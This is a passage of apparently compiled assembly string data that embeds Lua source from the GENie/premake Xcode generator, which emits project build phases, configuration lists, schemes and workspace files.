'\\\\\"'))\n_p(2,'};')\nend\nend\nlocal function wrapcommands(cmds, cfg)\nlocal commands = {}\nif #cmds > 0 then\ntable.insert(commands, 'if [ \"${CONFIGURATION}\" = \"' .. xcode.getconfigname(cfg) .. '\" ]; then')\nfor i = 1, #cmds do\nlocal cmd = cmds[i]\ncmd = cmd:gsub('\\\\','\\\\\\\\')\ntable.insert(commands, cmd)\nend\ntable.insert(commands, 'fi')\nend\nreturn commands\nend\nlocal function dobuildblock(id, name, which)\nlocal commands = {}\nfor _, cfg in ipairs(tr.configs) do\nlocal cfgcmds = wrapcommands(cfg[which], cfg)\nif #cfgcmds > 0 then\nfor i, cmd in ipairs(cfgcmds) do\ntable.insert(commands, cmd)\nend\nend\nend\ndoblock(id, name, commands)\nend\nlocal function doscriptphases(which)\nlocal i = 0\nfor _, cfg in ipairs(tr.configs) do\nlocal cfgcmds = cfg[which]\nif cfgcmds ~= nil then\nfor __, scripts in ipairs(cfgcmds) do\nfor ___, script in ipairs(scripts) do\nlocal cmd = script[1]\nlocal files = script[2]\nlocal label = xcode.getscriptphaselabel(cmd, i, cfg)\nlocal id = xcode.uuid(label)\ndoblock(id, label, wrapcommands({cmd}, cfg), files)\ni = i + 1\nend\nend\nend\nend\nend\ndobuildblock(\"9607AE1010C857E500CD1376\", \"Prebuild\", \"prebuildcommands\")\ndobuildblock(\"9607AE3510C85E7E00CD1376\", \"Prelink\", \"prelinkcommands\")\ndobuildblock(\"9607AE3710C85E8F00CD1376\", \"Postbuild\", \"postbuildcommands\")\ndoscriptphases(\"xcodescriptphases\")\nif wrapperWritten then\n_p('/* End PBXShellScriptBuildPhase section */')\nend\nend\nfunction xcode.PBXSourcesBuildPhase(tr,prj)\n_p('/* Begin PBXSourcesBuildPhase section */')\nfor _, target in ipairs(tr.products.children) do\n_p(2,'%s /* Sources */ = {', target.sourcesid)\n_p(3,'isa = PBXSourcesBuildPhase;')\n_p(3,'buildActionMask = 2147483647;')\n_p(3,'files = (')\ntree.traverse(tr, {\nonleaf = function(node)\nif xcode.getbuildcategory(node) == \"Sources\" then\nif not table.icontains(prj.excludes, node.cfg.name) then -- if not excluded\n_p(4,'%s /* %s in Sources */,', node.buildid, node.name)\nend\nend\nend\n})\n_p(3,');')\n_p(3,'runOnlyForDeploymentPostprocessing = 0;')\n_p(2,'};')\nend\n_p('/* End PBXSourcesBuildPhase section */')\n_p('')\nend\nfunction xcode.PBXCopyFilesBuildPhase(tr)\nlocal wrapperWritten = false\nlocal function doblock(id, name, folderSpec, path, files)\nif #files > 0 then\nif not wrapperWritten then\n_p('/* Begin PBXCopyFilesBuildPhase section */')\nwrapperWritten = true\nend\n_p(2,'%s /* %s */ = {', id, name)\n_p(3,'isa = PBXCopyFilesBuildPhase;')\n_p(3,'buildActionMask = 2147483647;')\n_p(3,'dstPath = \\\"%s\\\";', path)\n_p(3,'dstSubfolderSpec = \\\"%s\\\";', folderSpec)\n_p(3,'files = (')\ntree.traverse(tr, {\nonleaf = function(node)\nif table.icontains(files, node.name) then\n_p(4,'%s /* %s in %s */,',\nxcode.uuid(node.name .. 'in CopyFiles'), node.name, 'CopyFiles')\nend\nend\n})\n_p(3,');')\n_p(3,'runOnlyForDeploymentPostprocessing = 0;');\n_p(2,'};')\nend\nend\nlocal function docopyresources(which)\nlocal targets = tr.project[which]\nif #targets > 0 then\nlocal i = 0\nfor _, t in ipairs(targets) do\nfor __, tt in ipairs(t) do\nlocal label = xcode.getcopyphaselabel('Resources', i, tt[1])\nlocal id = xcode.uuid(label)\nlocal files = table.translate(table.flatten(tt[2]), path.getname)\ndoblock(id, label, 7, tt[1], files)\ni = i + 1\nend\nend\nend\nend\nlocal function docopyframeworks(which)\nlocal targets = tr.project[which]\nif #targets > 0 then\nlocal label = \"Copy Frameworks\"\nlocal id = xcode.uuid(label)\nlocal files = table.translate(table.flatten(targets), path.getname)\ndoblock(id, label, 10, \"\", files)\nend\nend\ndocopyresources(\"xcodecopyresources\")\nif tr.project.kind == \"WindowedApp\" then\ndocopyframeworks(\"xcodecopyframeworks\")\nend\nif wrapperWritten then\n_p('/* End PBXCopyFilesBuildPhase section */')\nend\nend\nfunction xcode.PBXVariantGroup(tr)\n_p('/* Begin PBXVariantGroup section */')\ntree.traverse(tr, {\nonbranch = function(node)\nif node.kind == \"vgroup\" then\n_p(2,'%s /* %s */ = {', node.id, node.name)\n_p(3,'isa = PBXVariantGroup;')\n_p(3,'children = (')\nfor _, lang in ipairs(node.children) do\n_p(4,'%s /* %s */,', lang.id, lang.name)\nend\n_p(3,');')\n_p(3,'name = %s;', node.name)\n_p(3,'sourceTree = \"<group>\";')\n_p(2,'};')\nend\nend\n})\n_p('/* End PBXVariantGroup section */')\n_p('')\nend\nfunction xcode.PBXTargetDependency(tr)\nif #tr.projects.children > 0 then\n_p('/* Begin PBXTargetDependency section */')\ntree.traverse(tr.projects, {\nonleaf = function(node)\n_p(2,'%s /* PBXTargetDependency */ = {', node.parent.targetdependid)\n_p(3,'isa = PBXTargetDependency;')\n_p(3,'name = \"%s\";', node.name)\n_p(3,'targetProxy = %s /* PBXContainerItemProxy */;', node.parent.targetproxyid)\n_p(2,'};')\nend\n})\n_p('/* End PBXTargetDependency section */')\n_p('')\nend\nend\nfunction xcode.cfg_excluded_files(prj, cfg)\nlocal excluded = {}\nlocal function exclude_pattern(file)\nif path.isabsolute(file) then\nreturn file\nend\nlocal start, term = file:findlast(\"/%.%./\")\nif term then\nreturn path.join(\"*\", file:sub(term + 1))\nend\nstart, term = file:find(\"%.%./\")\nif start == 1 then\nreturn path.join(\"*\", file:sub(term + 1))\nend\nreturn path.join(\"*\", file)\nend\nlocal function add_file(file)\nlocal name = exclude_pattern(file)\nif not table.icontains(excluded, name) then\ntable.insert(excluded, name)\nend\nend\nlocal function verify_file(file)\nlocal name = exclude_pattern(file)\nif table.icontains(excluded, name) then\nerror(\"'\" .. file .. \"' would be excluded by the rule to exclude '\" .. name .. \"'\")\nend\nend\nfor _, file in ipairs(cfg.excludes) do\nadd_file(file)\nend\nfor _, file in ipairs(prj.allfiles) do\nif not table.icontains(prj.excludes, file) and not table.icontains(cfg.excludes, file) then\nif not table.icontains(cfg.files, file) then\nadd_file(file)\nelse\nverify_file(file)\nend\nend\nend\ntable.sort(excluded)\nreturn excluded\nend\nfunction xcode.XCBuildConfiguration_Impl(tr, id, opts, cfg)\nlocal cfgname = xcode.getconfigname(cfg)\n_p(2,'%s /* %s */ = {', id, cfgname)\n_p(3,'isa = XCBuildConfiguration;')\n_p(3,'buildSettings = {')\nfor k, v in table.sortedpairs(opts) do\nif type(v) == \"table\" then\nif #v > 0 then\n_p(4,'%s = (', k)\nfor i, v2 in ipairs(v) do\n_p(5,'%s,', xcode.quotestr(tostring(v2)))\nend\n_p(4,');')\nend\nelse\n_p(4,'%s = %s;', k, xcode.quotestr(tostring(v)))\nend\nend\n_p(3,'};')\n_p(3,'name = %s;', xcode.quotestr(cfgname))\n_p(2,'};')\nend\nlocal function add_options(options, extras)\nfor _, tbl in ipairs(extras) do\nfor tkey, tval in pairs(tbl) do\noptions[tkey] = tval\nend\nend\nend\nlocal function add_wholearchive_links(opts, cfg)\nif #cfg.wholearchive > 0 then\nlocal linkopts = {}\nfor _, depcfg in ipairs(premake.getlinks(cfg, \"siblings\", \"object\")) do\nif table.icontains(cfg.wholearchive, depcfg.project.name) then\nlocal linkpath = path.rebase(depcfg.linktarget.fullpath, depcfg.location, cfg.location)\ntable.insert(linkopts, \"-force_load\")\ntable.insert(linkopts, linkpath)\nend\nend\nif opts.OTHER_LDFLAGS then\nlinkopts = table.join(linkopts, opts.OTHER_LDFLAGS)\nend\nopts.OTHER_LDFLAGS = linkopts\nend\nend\nfunction xcode.XCBuildConfiguration(tr, prj, opts)\n_p('/* Begin XCBuildConfiguration section */')\nfor _, target in ipairs(tr.products.children) do\nfor _, cfg in ipairs(tr.configs) do\nlocal values = opts.ontarget(tr, target, cfg)\nadd_options(values, cfg.xcodetargetopts)\nxcode.XCBuildConfiguration_Impl(tr, cfg.xcode.targetid, values, cfg)\nend\nend\nfor _, cfg in ipairs(tr.configs) do\nlocal values = opts.onproject(tr, prj, cfg)\nadd_options(values, cfg.xcodeprojectopts)\nadd_wholearchive_links(values, cfg)\nxcode.XCBuildConfiguration_Impl(tr, cfg.xcode.projectid, values, cfg)\nend\n_p('/* End XCBuildConfiguration section */')\n_p('')\nend\nfunction xcode.XCBuildConfigurationList(tr)\nlocal sln = tr.project.solution\n_p('/* Begin XCConfigurationList section */')\nfor _, target in ipairs(tr.products.children) do\n_p(2,'%s /* Build configuration list for PBXNativeTarget \"%s\" */ = {', target.cfgsection, target.name)\n_p(3,'isa = XCConfigurationList;')\n_p(3,'buildConfigurations = (')\nfor _, cfg in ipairs(tr.configs) do\n_p(4,'%s /* %s */,', cfg.xcode.targetid, xcode.getconfigname(cfg))\nend\n_p(3,');')\n_p(3,'defaultConfigurationIsVisible = 0;')\n_p(3,'defaultConfigurationName = \"%s\";', xcode.getconfigname(tr.configs[1]))\n_p(2,'};')\nend\n_p(2,'1DEB928908733DD80010E9CD /* Build configuration list for PBXProject \"%s\" */ = {', tr.name)\n_p(3,'isa = XCConfigurationList;')\n_p(3,'buildConfigurations = (')\nfor _, cfg in ipairs(tr.configs) do\n_p(4,'%s /* %s */,', cfg.xcode.projectid, xcode.getconfigname(cfg))\nend\n_p(3,');')\n_p(3,'defaultConfigurationIsVisible = 0;')\n_p(3,'defaultConfigurationName = \"%s\";', xcode.getconfigname(tr.configs[1]))\n_p(2,'};')\n_p('/* End XCConfigurationList section */')\n_p('')\nend\nfunction xcode.Footer()\n_p(1,'};')\n_p('\\trootObject = __RootObject_ /* Project object */;')\n_p('}')\nend\n"
l_.str.51: ; @.str.51
.asciz "local xcode = premake.xcode\nlocal tree = premake.tree\nfunction xcode.buildprjtree(prj)\nlocal tr = premake.project.buildsourcetree(prj, true)\ntr.configs = {}\nfor _, cfgname in ipairs(prj.solution.configurations) do\nfor _, platform in ipairs(prj.solution.xcode.platforms) do\nlocal cfg = premake.getconfig(prj, cfgname, platform)\ncfg.xcode = {}\ncfg.xcode.targetid = xcode.newid(prj.xcode.projectnode, \"tgt:\"..platform..cfgname)\ncfg.xcode.projectid = xcode.newid(tr, \"prj:\"..platform..cfgname)\ntable.insert(tr.configs, cfg)\nend\nend\ntree.traverse(tr, {\nonbranch = function(node)\nif path.getextension(node.name) == \".lproj\" then\nlocal lang = path.getbasename(node.name) -- \"English\", \"French\", etc.\nfor _, filenode in ipairs(node.children) do\nlocal grpnode = node.parent.children[filenode.name]\nif not grpnode then\ngrpnode = tree.insert(node.parent, tree.new(filenode.name))\ngrpnode.kind = \"vgroup\"\nend\nfilenode.name = path.getbasename(lang)\ntree.insert(grpnode, filenode)\nend\ntree.remove(node)\nend\nend\n})\ntree.traverse(tr, {\nonbranch = function(node)\nif path.getextension(node.name) == \".xcassets\" then\nnode.children = {}\nend\nend\n})\ntr.frameworks = tree.new(\"Frameworks\")\nfor cfg in premake.eachconfig(prj) do\nfor _, link in ipairs(premake.getlinks(cfg, \"system\", \"fullpath\")) do\nlocal name = path.getname(link)\nif xcode.isframework(name) and not tr.frameworks.children[name] then\nnode = tree.insert(tr.frameworks, tree.new(name))\nnode.path = link\nend\nend\nend\nif #tr.frameworks.children > 0 then\ntree.insert(tr, tr.frameworks)\nend\ntr.products = tree.insert(tr, tree.new(\"Products\"))\ntr.projects = tree.new(\"Projects\")\nfor _, dep in ipairs(premake.getdependencies(prj, \"sibling\", \"object\")) do\nlocal xcpath = xcode.getxcodeprojname(dep)\nlocal xcnode = tree.insert(tr.projects, tree.new(path.getname(xcpath)))\nxcnode.path = xcpath\nxcnode.project = dep\nxcnode.productgroupid = xcode.newid(xcnode, \"prodgrp\")\nxcnode.productproxyid = xcode.newid(xcnode, \"prodprox\")\nxcnode.targetproxyid = xcode.newid(xcnode, \"targprox\")\nxcnode.targetdependid = xcode.newid(xcnode, \"targdep\")\nlocal cfg = premake.getconfig(dep, prj.configurations[1])\nnode = tree.insert(xcnode, tree.new(cfg.linktarget.name))\nnode.path = cfg.linktarget.fullpath\nnode.cfg = cfg\nend\nif #tr.projects.children > 0 then\ntree.insert(tr, tr.projects)\nend\ntree.traverse(tr, {\nonbranchexit = function(node)\nfor _, child in ipairs(node.children) do\nif (child.location) then\nif (node.location) then\nwhile (not string.startswith(child.location, node.location)) do\nnode.location = path.getdirectory(node.location)\nend\nelse\nnode.location = path.getdirectory(child.location)\nend\nend\nend\nend,\nonleaf = function(node)\nif (node.cfg) then\nnode.location = node.cfg.name\nend\nend\n}, true)\ntree.traverse(tr, {\nonbranchexit = function(node, depth)\nif (node.location and node.parent and node.parent.location) then\nnode.location = path.getrelative(node.parent.location, node.location)\nend\nend,\nonleaf = function(node, depth)\nif (node.location and node.parent and node.parent.location) then\nnode.location = path.getrelative(node.parent.location, node.location)\nend\nend\n}, true)\ntree.traverse(tr, {\nonnode = function(node)\nnode.id = xcode.newid(node)\nif xcode.getbuildcategory(node) then\nnode.buildid = xcode.newid(node, \"build\")\nend\nif string.endswith(node.name, \"Info.plist\") then\ntr.infoplist = node\nend\nif string.endswith(node.name, \".entitlements\") then\ntr.entitlements = node\nend\nend\n}, true)\nnode = tree.insert(tr.products, prj.xcode.projectnode)\nnode.kind = \"product\"\nnode.path = node.cfg.buildtarget.fullpath\nnode.cfgsection = xcode.newid(node, \"cfg\")\nnode.resstageid = xcode.newid(node, \"rez\")\nnode.sourcesid = xcode.newid(node, \"src\")\nnode.fxstageid = xcode.newid(node, \"fxs\")\nreturn tr\nend\n"
l_.str.52: ; @.str.52
.asciz "local premake = premake\nlocal xcode = premake.xcode\nlocal function buildableref(indent, prj, cfg)\ncfg = cfg or premake.eachconfig(prj)()\n_p(indent + 0, '<BuildableReference')\n_p(indent + 1, 'BuildableIdentifier = \"primary\"')\n_p(indent + 1, 'BlueprintIdentifier = \"%s\"', prj.xcode.projectnode.targetid)\n_p(indent + 1, 'BuildableName = \"%s\"', cfg.buildtarget.name)\n_p(indent + 1, 'BlueprintName = \"%s\"', prj.name)\n_p(indent + 1, 'ReferencedContainer = \"container:%s.xcodeproj\">', prj.name)\n_p(indent + 0, '</BuildableReference>')\nend\nlocal function cmdlineargs(indent, cfg)\nif #cfg.debugargs > 0 then\n_p(indent, '<CommandLineArguments>')\nfor _, arg in ipairs(cfg.debugargs) do\n_p(indent + 1, '<CommandLineArgument')\n_p(indent + 2, 'argument = \"%s\"', arg)\n_p(indent + 2, 'isEnabled = \"YES\">')\n_p(indent + 1, '</CommandLineArgument>')\nend\n_p(indent, '</CommandLineArguments>')\nend\nend\nlocal function envvars(indent, cfg)\nif #cfg.debugenvs > 0 then\n_p(indent, '<EnvironmentVariables>')\nfor _, arg in ipairs(cfg.debugenvs) do\nlocal eq = arg:find(\"=\")\nlocal k = arg:sub(1, eq)\nlocal v = arg:sub(eq + 1)\n_p(indent + 1, '<EnvironmentVariable')\n_p(indent + 2, 'key = \"%s\"', arg:sub(1, eq))\n_p(indent + 2, 'value = \"%s\"', arg:sub(eq))\n_p(indent + 2, 'isEnabled = \"YES\">')\n_p(indent + 1, '</EnvironmentVariable>')\nend\n_p(indent, '</EnvironmentVariables>')\nend\nend\nlocal function workingdir(dir)\nif not path.isabsolute(dir) then\ndir = \"$PROJECT_DIR/\" .. dir\nend\nreturn dir\nend\nlocal function bestconfig(prj, fordebug)\nlocal bestcfg = nil\nlocal bestscore = -1\nfor cfg in premake.eachconfig(prj) do\nlocal score = 0\nif cfg.platform == \"Native\" then\nscore = score + 10\nend\nif fordebug and cfg.name == \"Debug\" then\nscore = score + 1\nend\nif not fordebug and cfg.name == \"Release\" then\nscore = score + 1\nend\nif score > bestscore then\nbestcfg = cfg\nbestscore = score\nend\nend\nreturn bestcfg\nend\nfunction xcode.scheme(tobuild, primary, schemecfg)\n_p('<?xml version=\"1.0\" encoding=\"UTF-8\"?>')\n_p('<Scheme')\n_p(1, 'LastUpgradeVersion = \"0940\"')\n_p(1, 'version = \"1.3\">')\n_p(1, '<BuildAction')\n_p(2, 'parallelizeBuildables = \"YES\"')\n_p(2, 'buildImplicitDependencies = \"YES\">')\n_p(2, '<BuildActionEntries>')\nfor _, prj in ipairs(tobuild) do\n_p(3, '<BuildActionEntry')\n_p(4, 'buildForTesting = \"YES\"')\n_p(4, 'buildForRunning = \"YES\"')\n_p(4, 'buildForProfiling = \"YES\"')\n_p(4, 'buildForArchiving = \"YES\"')\n_p(4, 'buildForAnalyzing = \"YES\">')\nbuildableref(4, prj)\n_p(3, '</BuildActionEntry>')\nend\nlocal debugcfg = schemecfg or bestconfig(primary, true)\nlocal releasecfg = schemecfg or bestconfig(primary, false)\nlocal debugname = xcode.getconfigname(debugcfg)\nlocal releasename = xcode.getconfigname(releasecfg)\n_p(2, '</BuildActionEntries>')\n_p(1, '</BuildAction>')\n_p(1, '<TestAction')\n_p(2, 'buildConfiguration = \"%s\"', debugname)\n_p(2, 'selectedDebuggerIdentifier = \"Xcode.DebuggerFoundation.Debugger.LLDB\"')\n_p(2, 'selectedLauncherIdentifier = \"Xcode.DebuggerFoundation.Launcher.LLDB\"')\n_p(2, 'shouldUseLaunchSchemeArgsEnv = \"YES\">')\n_p(2, '<Testables>')\n_p(2, '</Testables>')\n_p(2, '<MacroExpansion>')\nbuildableref(3, primary, debugcfg)\n_p(2, '</MacroExpansion>')\n_p(2, '<AdditionalOptions>')\n_p(2, '</AdditionalOptions>')\n_p(1, '</TestAction>')\n_p(1, '<LaunchAction')\n_p(2, 'buildConfiguration = \"%s\"', debugname)\n_p(2, 'selectedDebuggerIdentifier = \"Xcode.DebuggerFoundation.Debugger.LLDB\"')\n_p(2, 'selectedLauncherIdentifier = \"Xcode.DebuggerFoundation.Launcher.LLDB\"')\n_p(2, 'launchStyle = \"0\"')\nif debugcfg.debugdir then\n_p(2, 'useCustomWorkingDirectory = \"YES\"')\n_p(2, 'customWorkingDirectory = \"%s\"', workingdir(debugcfg.debugdir))\nelse\n_p(2, 'useCustomWorkingDirectory = \"NO\"')\nend\n_p(2, 'ignoresPersistentStateOnLaunch = \"NO\"')\n_p(2, 'debugDocumentVersioning = \"YES\"')\n_p(2, 'debugServiceExtension = \"internal\"')\n_p(2, 'allowLocationSimulation = \"YES\">')\nif debugcfg.debugcmd then\n_p(2, '<PathRunnable')\n_p(3, 'runnableDebuggingMode = \"0\"')\n_p(3, 'FilePath = \"%s\">', debugcfg.debugcmd)\n_p(2, '</PathRunnable>')\nelse\n_p(2, '<BuildableProductRunnable')\n_p(3, 'runnableDebuggingMode = \"0\">')\nbuildableref(3, primary, debugcfg)\n_p(2, '</BuildableProductRunnable>')\nend\ncmdlineargs(2, debugcfg)\nenvvars(2, debugcfg)\n_p(2, '<AdditionalOptions>')\n_p(2, '</AdditionalOptions>')\n_p(1, '</LaunchAction>')\n_p(1, '<ProfileAction')\n_p(2, 'buildConfiguration = \"%s\"', releasename)\n_p(2, 'shouldUseLaunchSchemeArgsEnv = \"YES\"')\n_p(2, 'savedToolIdentifier = \"\"')\nif releasecfg.debugdir then\n_p(2, 'useCustomWorkingDirectory = \"YES\"')\n_p(2, 'customWorkingDirectory = \"%s\"', workingdir(releasecfg.debugdir))\nelse\n_p(2, 'useCustomWorkingDirectory = \"NO\"')\nend\n_p(2, 'debugDocumentVersioning = \"YES\">')\n_p(2, '<BuildableProductRunnable')\n_p(3, 'runnableDebuggingMode = \"0\">')\nbuildableref(3, primary, releasecfg)\n_p(2, '</BuildableProductRunnable>')\ncmdlineargs(2, releasecfg)\nenvvars(2, releasecfg)\n_p(1, '</ProfileAction>')\n_p(1, '<AnalyzeAction')\n_p(2, 'buildConfiguration = \"%s\">', debugname)\n_p(1, '</AnalyzeAction>')\n_p(1, '<ArchiveAction')\n_p(2, 'buildConfiguration = \"%s\"', releasename)\n_p(2, 'revealArchiveInOrganizer = \"YES\">')\n_p(1, '</ArchiveAction>')\n_p('</Scheme>')\nend\nfunction xcode.generate_schemes(prj, base_path)\nif (prj.kind == \"ConsoleApp\" or prj.kind == \"WindowedApp\") or (prj.options and prj.options.XcodeLibrarySchemes) then\nif prj.options and prj.options.XcodeSchemeNoConfigs then\npremake.generate(prj, path.join(base_path, \"%%.xcscheme\"),\nfunction(prj) xcode.scheme({prj}, prj) end)\nelse\nfor cfg in premake.eachconfig(prj) do\npremake.generate(prj, path.join(base_path, \"%% \" .. cfg.name .. \".xcscheme\"),\nfunction(prj) xcode.scheme({prj}, prj, cfg) end)\nend\nend\nend\nend\n"
l_.str.53: ; @.str.53
.asciz "local premake = premake\nlocal xcode = premake.xcode\nxcode.allscheme = false\nfunction xcode.workspace_head()\n_p('<?xml version=\"1.0\" encoding=\"UTF-8\"?>')\n_p('<Workspace')\n_p(1,'version = \"1.0\">')\nend\nfunction xcode.workspace_tail()\n_p('</Workspace>')\nend\nfunction xcode.workspace_file_ref(prj, indent)\nlocal projpath = path.getrelative(prj.solution.location, prj.location)\nif projpath == '.' then projpath = ''\nelse projpath = projpath ..'/'\nend\n_p(indent, '<FileRef')\n_p(indent + 1, 'location = \"group:%s\">', projpath .. prj.name .. '.xcodeproj')\n_p(indent, '</FileRef>')\nend\nfunction xcode.workspace_group(grp, indent)\n_p(indent, '<Group')\n_p(indent + 1, 'location = \"container:\"')\n_p(indent + 1, 'name = \"%s\">', grp.name)\nlocal function comparenames(a, b)\nreturn a.name < b.name\nend\nlocal groups = table.join(grp.groups)\nlocal projects = table.join(grp.projects)\ntable.sort(groups, comparenames)\ntable.sort(projects, comparenames)\nfor _, child in ipairs(groups) do\nxcode.workspace_group(child, indent + 1)\nend\nfor _, prj in ipairs(projects) do\nxcode.workspace_file_ref(prj, indent + 1)\nend\n_p(indent, '</Group>')\nend\nfunction xcode.workspace_generate(sln)\nxcode.preparesolution(sln)\nxcode.workspace_head()\nxcode.reorderProjects(sln)\nfor grp in premake.solution.eachgroup(sln) do\nif grp.parent == nil then\nxcode.workspace_group(grp, 1)\nend\nend\nfor prj in premake.solution.eachproject(sln) do\nif prj.group == nil then\nxcode.workspace_file_ref(prj, 1)\nend\nend\nxcode.workspace_tail()\nend\nfunction xcode.workspace_scheme(sln)\nif not xcode.allscheme then\nreturn false\nend\nlocal projects = {}\nlocal primary = nil\nfor prj in premake.solution.eachproject(sln) do\nif not primary or (sln.startproject == prj.name) then\nprimary = prj\nend\ntable.insert(projects, prj)\nend\nxcode.scheme(projects, primary)\nend\nfunction xcode.workspace_settings(sln)\n_p('<?xml version=\"1.0\" encoding=\"UTF-8\"?>')\n_p('<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">')\n_p('<plist version=\"1.0\">')\n_p('<dict>')\n_p(1, '<key>IDEWorkspaceSharedSettings_AutocreateContextsIfNeeded</key>')\n_p(1, '<false/>')\n_p('</dict>')\n_p('</plist>')\nend\nfunction xcode.reorderProjects(sln)\nif sln.startproject then\nfor i, prj in ipairs(sln.projects) do\nif sln.startproject == prj.name then\nlocal cur = prj.group\nwhile cur ~= nil do\nfor j, group in ipairs(sln.groups) do\nif group == cur then\ntable.remove(sln.groups, j)\nbreak\nend\nend\ntable.insert(sln.groups, 1, cur)\ncur = cur.parent\nend\ntable.remove(sln.projects, i)\ntable.insert(sln.projects, 1, prj)\nbreak\nend\nend\nend\nend\n"
l_.str.54: ; @.str.54
.asciz "local premake = premake\npremake.xcode8 = { }\nlocal xcode = premake.xcode\nlocal xcode8 = premake.xcode8\nfunction xcode8.XCBuildConfiguration_Target(tr, target, cfg)\nlocal cfgname = xcode.getconfigname(cfg)\nlocal installpaths = {\nConsoleApp = \"/usr/local/bin\",\nWindowedApp = \"$(HOME)/Applications\",\nSharedLib = \"/usr/local/lib\",\nStaticLib = \"/usr/local/lib\",\nBundle = \"$(LOCAL_LIBRARY_DIR)/Bundles\",\n}\nlocal options = {\nALWAYS_SEARCH_USER_PATHS = \"NO\",\nGCC_DYNAMIC_NO_PIC = \"NO\",\nGCC_MODEL_TUNING = \"G5\",\nINSTALL_PATH = installpaths[cfg.kind],\nPRODUCT_NAME = cfg.buildtarget.basename,\n}\nif not cfg.flags.Symbols then\noptions.DEBUG_INFORMATION_FORMAT = \"dwarf-with-dsym\"\nend\nif cfg.kind ~= \"StaticLib\" and cfg.buildtarget.prefix ~= \"\" then\noptions.EXECUTABLE_PREFIX = cfg.buildtarget.prefix\nend\nif cfg.targetextension then\nlocal ext = cfg.targetextension\noptions.EXECUTABLE_EXTENSION = iif(ext:startswith(\".\"), ext:sub(2), ext)\nend\nif cfg.flags.ObjcARC then\noptions.CLANG_ENABLE_OBJC_ARC = \"YES\"\nend\nlocal outdir = path.getdirectory(cfg.buildtarget.bundlepath)\nif outdir ~= \".\" then\noptions.CONFIGURATION_BUILD_DIR = outdir\nend\nif tr.infoplist then\noptions.INFOPLIST_FILE = tr.infoplist.cfg.name\nend\nlocal infoplist_file = nil\nfor _, v in ipairs(cfg.files) do\nif (string.find (string.lower (v), 'info.plist') ~= nil) then\ninfoplist_file = string.format('$(SRCROOT)/%s', v)\nend\nend\nif infoplist_file ~= nil then\noptions.INFOPLIST_FILE = infoplist_file\nend\nlocal action = premake.action.current()\nlocal get_opt = function(opt, def)\nreturn (opt and #opt > 0) and opt or def\nend\nlocal iosversion = get_opt(cfg.iostargetplatformversion, action.xcode.iOSTargetPlatformVersion)\nlocal macosversion = get_opt(cfg.macostargetplatformversion, action.xcode.macOSTargetPlatformVersion)\nlocal tvosversion = get_opt(cfg.tvostargetplatformversion, action.xcode.tvOSTargetPlatformVersion)\nif iosversion then\noptions.IPHONEOS_DEPLOYMENT_TARGET = iosversion\nelseif macosversion then\noptions.MACOSX_DEPLOYMENT_TARGET = macosversion\nelseif tvosversion then\noptions.TVOS_DEPLOYMENT_TARGET = tvosversion\nend\nif cfg.kind == \"Bundle\" and not cfg.options.SkipBundling then\noptions.PRODUCT_BUNDLE_IDENTIFIER = \"genie.\" .. cfg.buildtarget.basename:gsub(\"%s+\", \".\") --replace spaces with .\nlocal ext = cfg.targetextension\nif ext then\noptions.WRAPPER_EXTENSION = iif(ext:startswith(\".\"), ext:sub(2), ext)\nelse\noptions.WRAPPER_EXTENSION = \"bundle\"\nend\nend\nreturn options\nend\nfunction xcode8.XCBuildConfiguration_Project(tr, prj, cfg)\nlocal cfgname = xcode.getconfigname(cfg)\nlocal archs = {\nNative = nil,\nx32 = \"i386\",\nx64 = \"x86_64\",\nUniversal32 = \"$(ARCHS_STANDARD_32_BIT)\",\nUniversal64 = \"$(ARCHS_STANDARD_64_BIT)\",\nUniversal = \"$(ARCHS_STANDARD_32_64_BIT)\",\n}\nlocal checks = {\n[\"-ffast-math\"] = cfg.flags.FloatFast,\n[\"-ffloat-store\"] = cfg.flags.FloatStrict,\n[\"-fomit-frame-pointer\"] = cfg.flags.NoFramePointer,\n}\nlocal cflags = { }\nfor flag, check in pairs(checks) do\nif check then\ntable.insert(cflags, flag)\nend\nend\nlocal ldflags = { }\nfor _, lib in ipairs(premake.getlinks(cfg, \"system\")) do\nif not xcode.isframework(lib) then\ntable.insert(ldflags, \"-l\" .. lib)\nend\nend\nlocal options = {\nARCHS = archs[cfg.platform],\nCLANG_WARN__DUPLICATE_METHOD_MATCH = \"YES\",\nCLANG_WARN_BOOL_CONVERSION = \"YES\",\nCLANG_WARN_CONSTANT_CONVERSION = \"YES\",\nCLANG_WARN_EMPTY_BODY = \"YES\",\nCLANG_WARN_ENUM_CONVERSION = \"YES\",\nCLANG_WARN_INFINITE_RECURSION = \"YES\",\nCLANG_WARN_INT_CONVERSION = \"YES\",\nCLANG_WARN_SUSPICIOUS_MOVE = \"YES\",\nCLANG_WARN_UNREACHABLE_CODE = \"YES\",\nCONFIGURATION_TEMP_DIR = \"$(OBJROOT)\",\nENABLE_STRICT_OBJC_MSGSEND = \"YES\",\nENABLE_TESTABILITY = \"YES\",\nGCC_C_LANGUAGE_STANDARD = \"gnu99\",\nGCC_NO_COMMON_BLOCKS = \"YES\",\nGCC_PREPROCESSOR_DEFINITIONS = cfg.defines,\nGCC_SYMBOLS_PRIVATE_EXTERN = \"NO\",\nGCC_WARN_64_TO_32_BIT_CONVERSION = \"YES\",\nGCC_WARN_ABOUT_RETURN_TYPE = \"YES\",\nGCC_WARN_UNDECLARED_SELECTOR = \"YES\",\nGCC_WARN_UNINITIALIZED_AUTOS = \"YES\",\nGCC_WARN_UNUSED_FUNCTION = \"YES\",\nGCC_WARN_UNUSED_VARIABLE = \"YES\",\nHEADER_SEARCH_PATHS = table.join(cfg.includedirs, cfg.systemincludedirs),\nLIBRARY_SEARCH_PATHS = cfg.libdirs,\nOBJROOT = cfg.objectsdir,\nONLY_ACTIVE_ARCH = \"YES\",\nOTHER_CFLAGS = table.join(cflags, cfg.buildoptions, cfg.buildoptions_c),\nOTHER_CPLUSPLUSFLAGS = table.join(cflags, cfg.buildoptions, cfg.buildoptions_cpp),\nOTHER_LDFLAGS = table.join(ldflags, cfg.linkoptions),\nSDKROOT = xcode.toolset,\nUSER_HEADER_SEARCH_PATHS = cfg.userincludedirs,\n}\nif tr.entitlements then\noptions.CODE_SIGN_ENTITLEMENTS = tr.entitlements.cfg.name\nend\nlocal targetdir = path.getdirectory(cfg.buildtarget.bundlepath)\nif targetdir ~= \".\" then\noptions.CONFIGURATION_BUILD_DIR = \"$(SYMROOT)\"\noptions.SYMROOT = targetdir\nend\nif cfg.flags.Symbols then\noptions.COPY_PHASE_STRIP = \"NO\"\nend\nlocal excluded = xcode.cfg_excluded_files(prj, cfg)\nif #excluded > 0 